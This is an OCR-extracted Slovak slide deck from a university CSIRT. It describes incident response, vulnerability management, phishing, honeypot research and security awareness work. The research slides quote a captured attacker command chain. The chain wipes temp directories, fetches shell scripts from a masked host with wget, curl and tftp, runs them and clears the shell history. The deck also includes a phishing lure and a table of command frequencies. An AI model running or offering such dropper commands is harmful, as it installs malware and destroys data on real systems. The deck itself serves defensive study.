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Operativna
¢innost

csirt.upjs.sk

RieSenie bezpecnostnych incidentov
Manazment zranitelnosti

Monitoring bezpecénostnych udalosti

ISMS

Situacné povedomie o  kybernetickej
bezpelnosti
Digitalna forenzna analyza

Pravne aspekty kybernetickej bezpecnosti

Vzdelavanie zamestnancov a Studentov
Vzdelavanie spravcov IT

Letné Skoly, CyberSecurityDays



Ulohy CSIRT-UPJS

RieSenie
bezpeénostnych
incidentov

« Zvladanie incidentov

* Odpoved na incident

* Forenzna analyza

* Analyza skodlivych
kodov a emailovych
sprav

21. 11,2022

Monitorovacie
bezpecnostné
centrum (SOC)

Manazment

zranitel'nosti

» Sprava aktiv » Zber alertov
« Skenovanie * Analyza alertov
pocitaCovej siete » Hladanie hrozieb

« Vyhladavanie
zranitelnosti

ZvySovanie bezpeénostného povedomia

csirt.upjs.sk

Riadenie
informacnej
bezpeénosti

Tvorba politik
Spolupraca
Bezpecnostné
opatrenia
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Kyberneticke bezpecnostne incidenty

 Incidenty Specificky ladené na prostredie
univerzit, resp. verejného sektora

« Socialne inzinierstvo (phishing)

« Malvér - cryptojacking, trojské kone

sluzieb a

« Kompromitacie sietovych

webovych sidel
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ZIADOST O PONUKU (Pavol Jozef Safarik University) EUI934/SK462

Pavol Jozef Safarik University <admin@upjs.sk>
Romu

(i) Této sprava bola odoslana s déleZitostou nastavenou na Vysoka.

Ak sa vyskytni problémy so zobrazenim tejto spravy, kliknutim sem ju zobrazte vo webovom prehliadadi

; ?LAD(Z{)ST O PONUKU 15-02-2022-pdf.zip <
) 71 KB

The name and title of the University of Pavia Jozefa Safarika

The Ministry of the Secondary Party of the
Republic of Lithuania

Potrebujeme vasu ponuku. new year 2022 (in the year).
The contract was issued on 18 February 2022.

This is not the case.
It is necessary to take the mask out of place

Vdaka,

spravca

SCHOLARS AT RISK
T NETWORK
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Pavol Jozef Safarik University

41 80, Srobdrova 1014/2, 040 01 Kosice, Slovakia

Contact: +42155/234 11 00
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Vyskum - situacné povedomie
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tried once without logging in the following sequence: cd /tmp || cd /var/run
|| cd /dev/shm || cd /mnt || cd /var; rm -rf *;

wget http://x.x.x.x/0x9bin.sh; chmod 777 0x9bin.sh;

sh 0x9bin.sh; wget http://x.x.x.x/0x9binv2.sh;

chmod 777 0x9binv2.sh; sh 0x9binv2.sh;

curl -0 http://x.x.x.x/0x9curl.sh; chmod 777 0x9curl.sh;

sh Ox9curl.sh; tftp -r 0x9tl.sh -g x.X.X.X;

chmod 777 0x9tl.sh; sh 0x9tl.sh; tftp x.x.x.x -c get 0x9t2.sh;
chmod 777 0x9t2.sh; sh 0x9t2.sh; rm -rf *.sh; history -c

\

nomalia?

= original time series (test set)
—— one step forecasts
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Table 1: Description of the attributes

Attribute | Usage of |[Count|| Attribute | Usage of |Count
prop_wget | wget command 51 prop_curl curl command 2
prop_tftp tftp command 42 prop_ftpget | ftpget command 25
prop_echo echo command 13 prop_cd command 928
prop_cat cat command 6417 prop_rm rm command 47
prop_chmod| chmod command | 43 prop_dd dd command 13
prop_sh sh command 40 prop_run run command 10
prop-cp cp command 891 |[prop_busybox| busybox utility | 6631
dir_root root directory 25 dir_tmp tmp directory 37
dir_var_run | /var/run directory | 26 || dir_dev_shm |/dev/shm directory| 1
dir_mnt mnt directory 26 dir_bin bin directory 5429
dir_run_lock|/run/lock directory| 891 dir_var var directory 2
dir_proc_ /proc/mounts 6119
mounts directory

APVV-17-0561 - Ludsko-pravne a etické aspekty kybernetickej bezpecnosti
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Zvysovanie bezpecnostného povedomia
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Dokazete rozpoznat podvodny e-mail?

Identifikovat podvodny e-mail méZe byt faZSie ako by ste si mysleli. Utoénici sa od Vas pomocou podvodnych e-mailov
pokasia zistit Vase sikromné informécie predstieranim, Ze sd niekto, koho poznate. DokézZete rozlisit, ktoré e-maily si
podvodné?




Zvysovanie bezpecnostného povedomia
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kKriminality

Studenti informatiky, prava a pribuznych
odborov zameranych na informacnu a
kyberneticku bezpecCnost

TesSime sa na vas
12. - 16. septembra 2022

https://cyberawareness.sk




Dakujem za pozornost

Jesenna 5, Kosice, Slovakia
csirt.upjs.sk
csl.science.upjs.sk
csirt@upjs.sk
pavol.sokol@upjs.sk
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